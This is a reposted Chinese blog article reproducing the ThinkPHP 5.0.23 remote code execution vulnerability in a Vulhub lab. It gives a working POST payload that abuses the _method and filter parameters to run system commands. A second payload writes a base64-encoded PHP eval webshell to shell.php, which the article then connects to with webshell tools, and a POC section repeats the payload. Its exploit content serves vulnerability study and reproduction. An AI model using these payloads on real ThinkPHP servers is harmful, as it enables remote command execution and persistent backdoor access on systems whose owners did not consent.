ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

ThinkPHP 5.0.23 远程代码执行

2021-05-01 13:32:16  阅读:493  来源: 互联网

标签:5.0 23 漏洞 代码执行 ThinkPHP php method


ThinkPHP 5.0.23 远程代码执行

一、 漏洞描述

ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

二、漏洞影响

ThinkPHP <= 5.0.24

三、漏洞复现

1、 环境搭建

使用 Vulhub 在服务器上搭建

cd /vulhub/thinkphp/5.0.23-rce
docker-compose up -d

访问127.0.0.1:8080,进入到主页面:
在这里插入图片描述

2、 漏洞复现

第一步:判断是否存在漏洞:
访问/index.php?s=captcha页面,会出现如下报错:
在这里插入图片描述
使用 Google Chrome 的 HackBar 插件发送 POST 请求:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

得到回显:
在这里插入图片描述
whoami 命令成功执行。

第二步:漏洞利用
通过echo命令写入 Webshell 文件
首先将一句话木马进行 Base64 编码:
在这里插入图片描述
发送 POST 请求:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php

访问shell.php:
在这里插入图片描述
可以发现一句话木马已经被解析,使用蚁剑、菜刀等 Webshell 管理工具连接:
在这里插入图片描述

四、漏洞POC

测试路径:

index.php?s=captcha

POST 传餐:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

五、参考链接

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
https://www.dazhuanlan.com/2019/12/05/5de818364c3ac/

六、利用工具

TPscan

标签:5.0,23,漏洞,代码执行,ThinkPHP,php,method
来源: https://blog.csdn.net/weixin_44037296/article/details/116328859

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有